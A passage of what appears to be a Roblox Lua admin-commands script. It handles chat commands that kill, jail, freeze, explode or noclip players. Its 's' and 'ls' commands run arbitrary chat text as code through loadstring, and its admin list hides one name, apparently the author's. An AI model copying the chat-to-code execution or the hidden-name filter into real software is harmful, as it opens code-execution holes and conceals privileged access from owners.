  456. for i, v in pairs(owners) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Owner" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  457. for i, v in pairs(admins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - Admin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  458. for i, v in pairs(tempadmins) do if v:lower() ~= "kohltastrophe" then local cl = ent:Clone() cl.Parent = cmf cl.Text = v .. " - TempAdmin" cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  459. end end
  460.  
  461. if msg:lower() == "bans" or msg:lower() == "banlist" or msg:lower() == "banned" then
  462. if plr.PlayerGui:findFirstChild("BANSGUI") then return end
  463. local scr, cmf, ent, num = ScrollGui() scr.Name = "BANSGUI" scr.Parent = plr.PlayerGui
  464. for i, v in pairs(banland) do local cl = ent:Clone() cl.Parent = cmf cl.Text = v cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end
  465. end
  466.  
  467. if msg:lower() == "tools" or msg:lower() == "toollist" then
  468. if plr.PlayerGui:findFirstChild("TOOLSGUI") then return end
  469. local scr, cmf, ent, num = ScrollGui() scr.Name = "TOOLSGUI" scr.Parent = plr.PlayerGui
  470. for i, v in pairs(game.Lighting:children()) do if v:IsA("Tool") or v:IsA("HopperBin") then local cl = ent:Clone() cl.Parent = cmf cl.Text = v.Name cl.Position = UDim2.new(0,0,0,num*20) num = num +1 end end
  471. end
  472.  
  473. if msg:lower():sub(1,2) == "s " then
  474. coroutine.resume(coroutine.create(function()
  475. Output(msg:sub(3), plr)
  476. if script:findFirstChild("ScriptBase") then
  477. local cl = script.ScriptBase:Clone() cl.Code.Value = msg:sub(3)
  478. table.insert(objects, cl) cl.Parent = game.Workspace cl.Disabled = false
  479. else loadstring(msg:sub(3))()
  480. end
  481. end))
  482. end
  483.  
  484. if msg:lower():sub(1,3) == "ls " then
  485. coroutine.resume(coroutine.create(function()
  486. if script:findFirstChild("LocalScriptBase") then
  487. local cl = script.LocalScriptBase:Clone() cl.Code.Value = msg:sub(4)
  488. table.insert(objects, cl) cl.Parent = plr.PlayerGui cl.Disabled = false Output(msg:sub(4), plr)
  489. end
  490. end))
  491. end
  492.  
  493. if msg:lower():sub(1,4) == "ins " then
  494. coroutine.resume(coroutine.create(function()
  495. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(5)))
  496. if obj and #obj:children() >= 1 and plr.Character then
  497. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  498. end
  499. end))
  500. end
  501.  
  502. if msg:lower():sub(1,5) == "gear " then
  503. coroutine.resume(coroutine.create(function()
  504. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(6)))
  505. if obj and #obj:children() >= 1 and plr.Character then
  506. table.insert(objects, obj) for i,v in pairs(obj:children()) do table.insert(objects, v) end obj.Parent = game.Workspace obj:MakeJoints() obj:MoveTo(plr.Character:GetModelCFrame().p)
  507. end
  508. end))
  509. end
  510.  
  511. if msg:lower() == "clr" or msg:lower() == "clear" or msg:lower() == "clearscripts" then
  512. for i, v in pairs(objects) do if v:IsA("Script") or v:IsA("LocalScript") then v.Disabled = true end v:Destroy() end
  513. objects = {}
  514. end
  515.  
  516. if msg:lower() == "fix" or msg:lower() == "undisco" or msg:lower() == "unflash" then
  517. game.Lighting.Ambient = origsettings.abt
  518. game.Lighting.Brightness = origsettings.brt
  519. game.Lighting.TimeOfDay = origsettings.time
  520. game.Lighting.FogColor = origsettings.fclr
  521. game.Lighting.FogEnd = origsettings.fe
  522. game.Lighting.FogStart = origsettings.fs
  523. for i, v in pairs(lobjs) do v:Destroy() end
  524. for i, v in pairs(game.Workspace:children()) do if v.Name == "LightEdit" then v:Destroy() end end
  525. end
  526.  
  527. if msg:lower() == "cmdbar" or msg:lower() == "cmdgui" then
  528. coroutine.resume(coroutine.create(function()
  529. for i,v in pairs(plr.PlayerGui:children()) do if v.Name == "CMDBAR" then v:Destroy() end end
  530. local scr = Instance.new("ScreenGui", plr.PlayerGui) scr.Name = "CMDBAR"
  531. local box = Instance.new("TextBox", scr) box.BackgroundColor3 = Color3.new(0,0,0) box.TextColor3 = Color3.new(1,1,1) box.Font = "Arial" box.FontSize = "Size14" box.Text = "Type a command, then press enter." box.Size = UDim2.new(0,250,0,20) box.Position = UDim2.new(1,-250,1,-22) box.BorderSizePixel = 0 box.TextXAlignment = "Right" box.ZIndex = 10 box.ClipsDescendants = true
  532. box.Changed:connect(function(p) if p == "Text" and box.Text ~= "Type a command, then press enter." then Chat(box.Text, plr) box.Text = "Type a command, then press enter." end end)
  533. end))
  534. end
  535.  
  536. if msg:lower():sub(1,2) == "m " then
  537. Message("Message from " .. plr.Name, msg:sub(3), true, game.Players:children())
  538. end
  539.  
  540. if msg:lower():sub(1,2) == "h " then
  541. Hint(plr.Name .. ": " .. msg:sub(3), game.Players:children())
  542. end
  543.  
  544. if msg:lower():sub(1,3) == "pm " then
  545. local chk1 = msg:lower():sub(4):find(" ") + 3
  546. local plrz = GetPlr(plr, msg:lower():sub(4,chk1-1))
  547. Message("Private Message from " .. plr.Name, msg:sub(chk1+1), true, plrz)
  548. end
  549.  
  550. if msg:lower():sub(1,11) == "resetstats " then
  551. local plrz = GetPlr(plr, msg:lower():sub(12))
  552. for i, v in pairs(plrz) do
  553. coroutine.resume(coroutine.create(function()
  554. if v and v:findFirstChild("leaderstats") then
  555. for a, q in pairs(v.leaderstats:children()) do
  556. if q:IsA("IntValue") then q.Value = 0 end
  557. end
  558. end
  559. end))
  560. end
  561. end
  562.  
  563. if msg:lower():sub(1,4) == "hat " then
  564. local chk1 = msg:lower():sub(5):find(" ") + 4
  565. local plrz = GetPlr(plr, msg:lower():sub(5, chk1-1))
  566. for i, v in pairs(plrz) do
  567. coroutine.resume(coroutine.create(function()
  568. if v and v.Character then
  569. local obj = game:service("InsertService"):LoadAsset(tonumber(msg:sub(chk1+1)))
  570. for a,hat in pairs(obj:children()) do if hat:IsA("Hat") then hat.Parent = v.Character end end
  571. obj:Destroy()
  572. end
  573. end))
  574. end
  575. end
  576.  
  577. if msg:lower():sub(1,5) == "cape " then
  578. local chk1 = msg:lower():sub(6):find(" ")
  579. local plrz = GetPlr(plr, msg:lower():sub(6))
  580. local str = "torso.BrickColor"
  581. if chk1 then chk1 = chk1 + 5 plrz = GetPlr(plr, msg:lower():sub(6,chk1-1))
  582. local teststr = [[BrickColor.new("]]..msg:sub(chk1+1,chk1+1):upper()..msg:sub(chk1+2):lower()..[[")]]
  583. if msg:sub(chk1+1):lower() == "new yeller" then teststr = [[BrickColor.new("New Yeller")]] end
  584. if msg:sub(chk1+1):lower() == "pastel blue" then teststr = [[BrickColor.new("Pastel Blue")]] end
  585. if msg:sub(chk1+1):lower() == "dusty rose" then teststr = [[BrickColor.new("Dusty Rose")]] end
  586. if msg:sub(chk1+1):lower() == "cga brown" then teststr = [[BrickColor.new("CGA brown")]] end
  587. if msg:sub(chk1+1):lower() == "random" then teststr = [[BrickColor.random()]] end
  588. if msg:sub(chk1+1):lower() == "shiny" then teststr = [[BrickColor.new("Institutional white") p.Reflectance = 1]] end
  589. if msg:sub(chk1+1):lower() == "gold" then teststr = [[BrickColor.new("Bright yellow") p.Reflectance = .4]] end
  590. if msg:sub(chk1+1):lower() == "kohl" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597653"]] end
  591. if msg:sub(chk1+1):lower() == "batman" then teststr = [[BrickColor.new("Really black") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597669"]] end
  592. if msg:sub(chk1+1):lower() == "superman" then teststr = [[BrickColor.new("Bright blue") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=108597677"]] end
  593. if msg:sub(chk1+1):lower() == "swag" then teststr = [[BrickColor.new("Pink") local dec = Instance.new("Decal", p) dec.Face = 2 dec.Texture = "http://www.roblox.com/asset/?id=109301474"]] end
  594. if BrickColor.new(teststr) ~= nil then str = teststr end
  595. end
  596. for i, v in pairs(plrz) do
  597. coroutine.resume(coroutine.create(function()
  598. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") then
  599. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  600. local cl = script.LocalScriptBase:Clone() cl.Name = "CapeScript" cl.Code.Value = [[local plr = game.Players.LocalPlayer
  601. repeat wait() until plr and plr.Character and plr.Character:findFirstChild("Torso")
  602. local torso = plr.Character.Torso
  603. local p = Instance.new("Part", torso.Parent) p.Name = "EpicCape" p.Anchored = false
  604. p.CanCollide = false p.TopSurface = 0 p.BottomSurface = 0 p.BrickColor = ]]..str..[[ p.formFactor = "Custom"
  605. p.Size = Vector3.new(.2,.2,.2)
  606. local msh = Instance.new("BlockMesh", p) msh.Scale = Vector3.new(9,17.5,.5)
  607. local motor1 = Instance.new("Motor", p)
  608. motor1.Part0 = p
  609. motor1.Part1 = torso
  610. motor1.MaxVelocity = .01
  611. motor1.C0 = CFrame.new(0,1.75,0)*CFrame.Angles(0,math.rad(90),0)
  612. motor1.C1 = CFrame.new(0,1,.45)*CFrame.Angles(0,math.rad(90),0)
  613. local wave = false
  614. repeat wait(1/44)
  615. local ang = 0.1
  616. local oldmag = torso.Velocity.magnitude
  617. local mv = .002
  618. if wave then ang = ang + ((torso.Velocity.magnitude/10)*.05)+.05 wave = false else wave = true end
  619. ang = ang + math.min(torso.Velocity.magnitude/11, .5)
  620. motor1.MaxVelocity = math.min((torso.Velocity.magnitude/111), .04) + mv
  621. motor1.DesiredAngle = -ang
  622. if motor1.CurrentAngle < -.2 and motor1.DesiredAngle > -.2 then motor1.MaxVelocity = .04 end
  623. repeat wait() until motor1.CurrentAngle == motor1.DesiredAngle or math.abs(torso.Velocity.magnitude - oldmag) >= (torso.Velocity.magnitude/10) + 1
  624. if torso.Velocity.magnitude < .1 then wait(.1) end
  625. until not p or p.Parent ~= torso.Parent
  626. script:Destroy()
  627. ]] cl.Parent = v.PlayerGui cl.Disabled = false
  628. end
  629. end))
  630. end
  631. end
  632.  
  633. if msg:lower():sub(1,7) == "uncape " then
  634. local plrz = GetPlr(plr, msg:lower():sub(8))
  635. for i, v in pairs(plrz) do
  636. coroutine.resume(coroutine.create(function()
  637. if v and v:findFirstChild("PlayerGui") and v.Character then
  638. for a,cp in pairs(v.Character:children()) do if cp.Name == "EpicCape" then cp:Destroy() end end
  639. end
  640. end))
  641. end
  642. end
  643.  
  644. if msg:lower():sub(1,7) == "noclip " then
  645. local plrz = GetPlr(plr, msg:lower():sub(8))
  646. for i, v in pairs(plrz) do
  647. coroutine.resume(coroutine.create(function()
  648. if v and v:findFirstChild("PlayerGui") then
  649. local cl = script.LocalScriptBase:Clone() cl.Name = "NoClip" cl.Code.Value = [[repeat wait(1/44) until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid") and game.Players.LocalPlayer.Character:findFirstChild("Torso") and game.Players.LocalPlayer:GetMouse() and game.Workspace.CurrentCamera local mouse = game.Players.LocalPlayer:GetMouse() local torso = game.Players.LocalPlayer.Character.Torso local dir = {w = 0, s = 0, a = 0, d = 0} local spd = 2 mouse.KeyDown:connect(function(key) if key:lower() == "w" then dir.w = 1 elseif key:lower() == "s" then dir.s = 1 elseif key:lower() == "a" then dir.a = 1 elseif key:lower() == "d" then dir.d = 1 elseif key:lower() == "q" then spd = spd + 1 elseif key:lower() == "e" then spd = spd - 1 end end) mouse.KeyUp:connect(function(key) if key:lower() == "w" then dir.w = 0 elseif key:lower() == "s" then dir.s = 0 elseif key:lower() == "a" then dir.a = 0 elseif key:lower() == "d" then dir.d = 0 end end) torso.Anchored = true game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true game.Players.LocalPlayer.Character.Humanoid.Changed:connect(function() game.Players.LocalPlayer.Character.Humanoid.PlatformStand = true end) repeat wait(1/44) torso.CFrame = CFrame.new(torso.Position, game.Workspace.CurrentCamera.CoordinateFrame.p) * CFrame.Angles(0,math.rad(180),0) * CFrame.new((dir.d-dir.a)*spd,0,(dir.s-dir.w)*spd) until nil]]
  650. cl.Parent = v.PlayerGui cl.Disabled = false
  651. end
  652. end))
  653. end
  654. end
  655.  
  656. if msg:lower():sub(1,5) == "clip " then
  657. local plrz = GetPlr(plr, msg:lower():sub(6))
  658. for i, v in pairs(plrz) do
  659. coroutine.resume(coroutine.create(function()
  660. if v and v:findFirstChild("PlayerGui") and v.Character and v.Character:findFirstChild("Torso") and v.Character:findFirstChild("Humanoid") then
  661. for a, q in pairs(v.PlayerGui:children()) do if q.Name == "NoClip" then q:Destroy() end end
  662. v.Character.Torso.Anchored = false
  663. wait(.1) v.Character.Humanoid.PlatformStand = false
  664. end
  665. end))
  666. end
  667. end
  668.  
  669. if msg:lower():sub(1,5) == "jail " then
  670. local plrz = GetPlr(plr, msg:lower():sub(6))
  671. for i, v in pairs(plrz) do
  672. coroutine.resume(coroutine.create(function()
  673. if v and v.Character and v.Character:findFirstChild("Torso") then
  674. local vname = v.Name
  675. local cf = v.Character.Torso.CFrame + Vector3.new(0,1,0)
  676. local mod = Instance.new("Model", game.Workspace) table.insert(objects, mod) mod.Name = v.Name .. " Jail"
  677. local top = Instance.new("Part", mod) top.Locked = true top.formFactor = "Symmetric" top.Size = Vector3.new(6,1,6) top.TopSurface = 0 top.BottomSurface = 0 top.Anchored = true top.BrickColor = BrickColor.new("Really black") top.CFrame = cf * CFrame.new(0,-3.5,0)
  678. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  679. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  680. game.Players.PlayerAdded:connect(function(plr) if plr.Name == vname then v = plr end
  681. v.CharacterAdded:connect(function() if not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  682. v.Changed:connect(function(p) if p ~= "Character" or not mod or (mod and mod.Parent ~= game.Workspace) then return end repeat wait() until v and v.Character and v.Character:findFirstChild("Torso") v.Character.Torso.CFrame = cf end)
  683. end)
  684. local bottom = top:Clone() bottom.Parent = mod bottom.CFrame = cf * CFrame.new(0,3.5,0)
  685. local front = top:Clone() front.Transparency = .5 front.Reflectance = .1 front.Parent = mod front.Size = Vector3.new(6,6,1) front.CFrame = cf * CFrame.new(0,0,-3)
  686. local back = front:Clone() back.Parent = mod back.CFrame = cf * CFrame.new(0,0,3)
  687. local right = front:Clone() right.Parent = mod right.Size = Vector3.new(1,6,6) right.CFrame = cf * CFrame.new(3,0,0)
  688. local left = right:Clone() left.Parent = mod left.CFrame = cf * CFrame.new(-3,0,0)
  689. local msh = Instance.new("BlockMesh", front) msh.Scale = Vector3.new(1,1,0)
  690. local msh2 = msh:Clone() msh2.Parent = back
  691. local msh3 = msh:Clone() msh3.Parent = right msh3.Scale = Vector3.new(0,1,1)
  692. local msh4 = msh3:Clone() msh4.Parent = left
  693. v.Character.Torso.CFrame = cf
  694. end
  695. end))
  696. end
  697. end
  698.  
  699. if msg:lower():sub(1,7) == "unjail " then
  700. local plrz = GetPlr(plr, msg:lower():sub(8))
  701. for i, v in pairs(plrz) do coroutine.resume(coroutine.create(function() if v then for a, jl in pairs(game.Workspace:children()) do if jl.Name == v.Name .. " Jail" then jl:Destroy() end end end end)) end
  702. end
  703.  
  704. if msg:lower():sub(1,11) == "starttools " then
  705. local plrz = GetPlr(plr, msg:lower():sub(12))
  706. for i, v in pairs(plrz) do
  707. coroutine.resume(coroutine.create(function()
  708. if v and v:findFirstChild("Backpack") then
  709. for a,q in pairs(game.StarterPack:children()) do q:Clone().Parent = v.Backpack end
  710. end
  711. end))
  712. end
  713. end
  714.  
  715. if msg:lower():sub(1,6) == "sword " then
  716. local plrz = GetPlr(plr, msg:lower():sub(7))
  717. for i, v in pairs(plrz) do
  718. coroutine.resume(coroutine.create(function()
  719. if v and v:findFirstChild("Backpack") then
  720. local sword = Instance.new("Tool", v.Backpack) sword.Name = "Sword" sword.TextureId = "rbxasset://Textures/Sword128.png"
  721. sword.GripForward = Vector3.new(-1,0,0)
  722. sword.GripPos = Vector3.new(0,0,-1.5)
  723. sword.GripRight = Vector3.new(0,1,0)
  724. sword.GripUp = Vector3.new(0,0,1)
  725. local handle = Instance.new("Part", sword) handle.Name = "Handle" handle.FormFactor = "Plate" handle.Size = Vector3.new(1,.8,4) handle.TopSurface = 0 handle.BottomSurface = 0
  726. local msh = Instance.new("SpecialMesh", handle) msh.MeshId = "rbxasset://fonts/sword.mesh" msh.TextureId = "rbxasset://textures/SwordTexture.png"
  727. local cl = script.LocalScriptBase:Clone() cl.Parent = sword cl.Code.Value = [[
  728. repeat wait() until game.Players.LocalPlayer and game.Players.LocalPlayer.Character and game.Players.LocalPlayer.Character:findFirstChild("Humanoid")
  729. local Damage = 15
  730. local SlashSound = Instance.new("Sound", script.Parent.Handle)
  731. SlashSound.SoundId = "rbxasset://sounds\\swordslash.wav"
  732. SlashSound.Volume = 1
  733. local LungeSound = Instance.new("Sound", script.Parent.Handle)
  734. LungeSound.SoundId = "rbxasset://sounds\\swordlunge.wav"
  735. LungeSound.Volume = 1
  736. local UnsheathSound = Instance.new("Sound", script.Parent.Handle)
  737. UnsheathSound.SoundId = "rbxasset://sounds\\unsheath.wav"
  738. UnsheathSound.Volume = 1
  739. local last = 0
  740. script.Parent.Handle.Touched:connect(function(hit)
  741. if hit and hit.Parent and hit.Parent:findFirstChild("Humanoid") and game.Players:findFirstChild(hit.Parent.Name) and game.Players.LocalPlayer.Character.Humanoid.Health > 0 and hit.Parent.Humanoid ~= game.Players.LocalPlayer.Character.Humanoid then
  742. local tag = Instance.new("ObjectValue", hit.Parent.Humanoid) tag.Value = plr1 tag.Name = "creator" game:service("Debris"):AddItem(tag, 3)
  743. hit.Parent.Humanoid:TakeDamage(Damage)
  744. end
  745. end)
  746. script.Parent.Activated:connect(function()
  747. if not script.Parent.Enabled or game.Players.LocalPlayer.Character.Humanoid.Health <= 0 then return end
  748. script.Parent.Enabled = false
  749. local tick = game:service("RunService").Stepped:wait()
  750. if tick - last <= .2 then
  751. LungeSound:play()
  752. local lunge = Instance.new("StringValue", script.Parent) lunge.Name = "toolanim" lunge.Value = "Lunge"
  753. local frc = Instance.new("BodyVelocity", game.Players.LocalPlayer.Character.Torso) frc.Name = "SwordForce" frc.velocity = Vector3.new(0,10,0)
  754. wait(.2)
  755. script.Parent.GripForward = Vector3.new(0,0,1)
  756. script.Parent.GripRight = Vector3.new(0,-1,0)
  757. script.Parent.GripUp = Vector3.new(-1,0,0)
  758. wait(.3)
  759. frc:Destroy() wait(.5)
  760. script.Parent.GripForward = Vector3.new(-1,0,0)
  761. script.Parent.GripRight = Vector3.new(0,1,0)
  762. script.Parent.GripUp = Vector3.new(0,0,1)
  763. else
  764. SlashSound:play()
  765. local slash = Instance.new("StringValue", script.Parent) slash.Name = "toolanim" slash.Value = "Slash"
  766. end
  767. last = tick
  768. script.Parent.Enabled = true
  769. end)
  770. script.Parent.Equipped:connect(function(mouse)
  771. for i,v in pairs(game.Players.LocalPlayer.Character.Torso:children()) do if v.Name == "SwordForce" then v:Destroy() end end
  772. UnsheathSound:play()
  773. script.Parent.Enabled = true
  774. if not mouse then return end
  775. mouse.Icon = "http://www.roblox.com/asset/?id=103593352"
  776. end)]] cl.Disabled = false
  777. end
  778. end))
  779. end
  780. end
  781.  
  782. if msg:lower():sub(1,5) == "kill " then
  783. local plrz = GetPlr(plr, msg:lower():sub(6))
  784. for i, v in pairs(plrz) do
  785. coroutine.resume(coroutine.create(function()
  786. if v and v.Character then v.Character:BreakJoints() end
  787. end))
  788. end
  789. end
  790.  
  791. if msg:lower():sub(1,8) == "respawn " then
  792. local plrz = GetPlr(plr, msg:lower():sub(9))
  793. for i, v in pairs(plrz) do
  794. coroutine.resume(coroutine.create(function()
  795. if v and v.Character then v:LoadCharacter() end
  796. end))
  797. end
  798. end
  799.  
  800. if msg:lower():sub(1,5) == "trip " then
  801. local plrz = GetPlr(plr, msg:lower():sub(6))
  802. for i, v in pairs(plrz) do
  803. coroutine.resume(coroutine.create(function()
  804. if v and v.Character and v.Character:findFirstChild("Torso") then
  805. v.Character.Torso.CFrame = v.Character.Torso.CFrame * CFrame.Angles(0,0,math.rad(180))
  806. end
  807. end))
  808. end
  809. end
  810.  
  811. if msg:lower():sub(1,5) == "stun " then
  812. local plrz = GetPlr(plr, msg:lower():sub(6))
  813. for i, v in pairs(plrz) do
  814. coroutine.resume(coroutine.create(function()
  815. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  816. v.Character.Humanoid.PlatformStand = true
  817. end
  818. end))
  819. end
  820. end
  821.  
  822. if msg:lower():sub(1,7) == "unstun " then
  823. local plrz = GetPlr(plr, msg:lower():sub(8))
  824. for i, v in pairs(plrz) do
  825. coroutine.resume(coroutine.create(function()
  826. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  827. v.Character.Humanoid.PlatformStand = false
  828. end
  829. end))
  830. end
  831. end
  832.  
  833. if msg:lower():sub(1,5) == "jump " then
  834. local plrz = GetPlr(plr, msg:lower():sub(6))
  835. for i, v in pairs(plrz) do
  836. coroutine.resume(coroutine.create(function()
  837. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  838. v.Character.Humanoid.Jump = true
  839. end
  840. end))
  841. end
  842. end
  843.  
  844. if msg:lower():sub(1,4) == "sit " then
  845. local plrz = GetPlr(plr, msg:lower():sub(5))
  846. for i, v in pairs(plrz) do
  847. coroutine.resume(coroutine.create(function()
  848. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  849. v.Character.Humanoid.Sit = true
  850. end
  851. end))
  852. end
  853. end
  854.  
  855. if msg:lower():sub(1,10) == "invisible " then
  856. local plrz = GetPlr(plr, msg:lower():sub(11))
  857. for i, v in pairs(plrz) do
  858. coroutine.resume(coroutine.create(function()
  859. if v and v.Character then
  860. for a, obj in pairs(v.Character:children()) do
  861. if obj:IsA("BasePart") then obj.Transparency = 1 if obj:findFirstChild("face") then obj.face.Transparency = 1 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 1 end
  862. end
  863. end
  864. end))
  865. end
  866. end
  867.  
  868. if msg:lower():sub(1,8) == "visible " then
  869. local plrz = GetPlr(plr, msg:lower():sub(9))
  870. for i, v in pairs(plrz) do
  871. coroutine.resume(coroutine.create(function()
  872. if v and v.Character then
  873. for a, obj in pairs(v.Character:children()) do
  874. if obj:IsA("BasePart") then obj.Transparency = 0 if obj:findFirstChild("face") then obj.face.Transparency = 0 end elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Transparency = 0 end
  875. end
  876. end
  877. end))
  878. end
  879. end
  880.  
  881. if msg:lower():sub(1,5) == "lock " then
  882. local plrz = GetPlr(plr, msg:lower():sub(6))
  883. for i, v in pairs(plrz) do
  884. coroutine.resume(coroutine.create(function()
  885. if v and v.Character then
  886. for a, obj in pairs(v.Character:children()) do
  887. if obj:IsA("BasePart") then obj.Locked = true elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = true end
  888. end
  889. end
  890. end))
  891. end
  892. end
  893.  
  894. if msg:lower():sub(1,7) == "unlock " then
  895. local plrz = GetPlr(plr, msg:lower():sub(8))
  896. for i, v in pairs(plrz) do
  897. coroutine.resume(coroutine.create(function()
  898. if v and v.Character then
  899. for a, obj in pairs(v.Character:children()) do
  900. if obj:IsA("BasePart") then obj.Locked = false elseif obj:IsA("Hat") and obj:findFirstChild("Handle") then obj.Handle.Locked = false end
  901. end
  902. end
  903. end))
  904. end
  905. end
  906.  
  907. if msg:lower():sub(1,8) == "explode " then
  908. local plrz = GetPlr(plr, msg:lower():sub(9))
  909. for i, v in pairs(plrz) do
  910. coroutine.resume(coroutine.create(function()
  911. if v and v.Character and v.Character:findFirstChild("Torso") then
  912. local ex = Instance.new("Explosion", game.Workspace) ex.Position = v.Character.Torso.Position
  913. end
  914. end))
  915. end
  916. end
  917.  
  918. if msg:lower():sub(1,4) == "age " then
  919. local plrz = GetPlr(plr, msg:lower():sub(5))
  920. for i, v in pairs(plrz) do
  921. coroutine.resume(coroutine.create(function()
  922. if v then Message(v.Name .. "'s age", tostring(v.AccountAge), false, {plr}) end
  923. end))
  924. end
  925. end
  926.  
  927. if msg:lower():sub(1,5) == "fire " then
  928. local plrz = GetPlr(plr, msg:lower():sub(6))
  929. for i, v in pairs(plrz) do
  930. coroutine.resume(coroutine.create(function()
  931. if v and v.Character and v.Character:findFirstChild("Torso") then
  932. local cl = Instance.new("Fire", v.Character.Torso) table.insert(objects, cl)
  933. end
  934. end))
  935. end
  936. end
  937.  
  938. if msg:lower():sub(1,7) == "unfire " then
  939. local plrz = GetPlr(plr, msg:lower():sub(8))
  940. for i, v in pairs(plrz) do
  941. coroutine.resume(coroutine.create(function()
  942. if v and v.Character and v.Character:findFirstChild("Torso") then
  943. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Fire") then cl:Destroy() end end
  944. end
  945. end))
  946. end
  947. end
  948.  
  949. if msg:lower():sub(1,6) == "smoke " then
  950. local plrz = GetPlr(plr, msg:lower():sub(7))
  951. for i, v in pairs(plrz) do
  952. coroutine.resume(coroutine.create(function()
  953. if v and v.Character and v.Character:findFirstChild("Torso") then
  954. local cl = Instance.new("Smoke", v.Character.Torso) table.insert(objects, cl)
  955. end
  956. end))
  957. end
  958. end
  959.  
  960. if msg:lower():sub(1,8) == "unsmoke " then
  961. local plrz = GetPlr(plr, msg:lower():sub(9))
  962. for i, v in pairs(plrz) do
  963. coroutine.resume(coroutine.create(function()
  964. if v and v.Character and v.Character:findFirstChild("Torso") then
  965. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Smoke") then cl:Destroy() end end
  966. end
  967. end))
  968. end
  969. end
  970.  
  971. if msg:lower():sub(1,9) == "sparkles " then
  972. local plrz = GetPlr(plr, msg:lower():sub(10))
  973. for i, v in pairs(plrz) do
  974. coroutine.resume(coroutine.create(function()
  975. if v and v.Character and v.Character:findFirstChild("Torso") then
  976. local cl = Instance.new("Sparkles", v.Character.Torso) table.insert(objects, cl)
  977. end
  978. end))
  979. end
  980. end
  981.  
  982. if msg:lower():sub(1,11) == "unsparkles " then
  983. local plrz = GetPlr(plr, msg:lower():sub(12))
  984. for i, v in pairs(plrz) do
  985. coroutine.resume(coroutine.create(function()
  986. if v and v.Character and v.Character:findFirstChild("Torso") then
  987. for z, cl in pairs(v.Character.Torso:children()) do if cl:IsA("Sparkles") then cl:Destroy() end end
  988. end
  989. end))
  990. end
  991. end
  992.  
  993. if msg:lower():sub(1,3) == "ff " then
  994. local plrz = GetPlr(plr, msg:lower():sub(4))
  995. for i, v in pairs(plrz) do
  996. coroutine.resume(coroutine.create(function()
  997. if v and v.Character then Instance.new("ForceField", v.Character) end
  998. end))
  999. end
  1000. end
  1001.  
  1002. if msg:lower():sub(1,5) == "unff " then
  1003. local plrz = GetPlr(plr, msg:lower():sub(6))
  1004. for i, v in pairs(plrz) do
  1005. coroutine.resume(coroutine.create(function()
  1006. if v and v.Character then
  1007. for z, cl in pairs(v.Character:children()) do if cl:IsA("ForceField") then cl:Destroy() end end
  1008. end
  1009. end))
  1010. end
  1011. end
  1012.  
  1013. if msg:lower():sub(1,7) == "punish " then
  1014. local plrz = GetPlr(plr, msg:lower():sub(8))
  1015. for i, v in pairs(plrz) do
  1016. coroutine.resume(coroutine.create(function()
  1017. if v and v.Character then
  1018. v.Character.Parent = game:service("Lighting")
  1019. end
  1020. end))
  1021. end
  1022. end
  1023.  
  1024. if msg:lower():sub(1,9) == "unpunish " then
  1025. local plrz = GetPlr(plr, msg:lower():sub(10))
  1026. for i, v in pairs(plrz) do
  1027. coroutine.resume(coroutine.create(function()
  1028. if v and v.Character then
  1029. v.Character.Parent = game:service("Workspace")
  1030. v.Character:MakeJoints()
  1031. end
  1032. end))
  1033. end
  1034. end
  1035.  
  1036. if msg:lower():sub(1,7) == "freeze " then
  1037. local plrz = GetPlr(plr, msg:lower():sub(8))
  1038. for i, v in pairs(plrz) do
  1039. coroutine.resume(coroutine.create(function()
  1040. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1041. for a, obj in pairs(v.Character:children()) do
  1042. if obj:IsA("BasePart") then obj.Anchored = true end v.Character.Humanoid.WalkSpeed = 0
  1043. end
  1044. end
  1045. end))
  1046. end
  1047. end
  1048.  
  1049. if msg:lower():sub(1,5) == "thaw " then
  1050. local plrz = GetPlr(plr, msg:lower():sub(6))
  1051. for i, v in pairs(plrz) do
  1052. coroutine.resume(coroutine.create(function()
  1053. if v and v.Character and v.Character:findFirstChild("Humanoid") then
  1054. for a, obj in pairs(v.Character:children()) do
  1055. if obj:IsA("BasePart") then obj.Anchored = false end v.Character.Humanoid.WalkSpeed = 16
  1056. end
  1057. end
  1058. end))
  1059. end
  1060. end
  1061.  
  1062. if msg:lower():sub(1,5) == "heal " then
  1063. local plrz = GetPlr(plr, msg:lower():sub(6))
  1064. for i, v in pairs(plrz) do
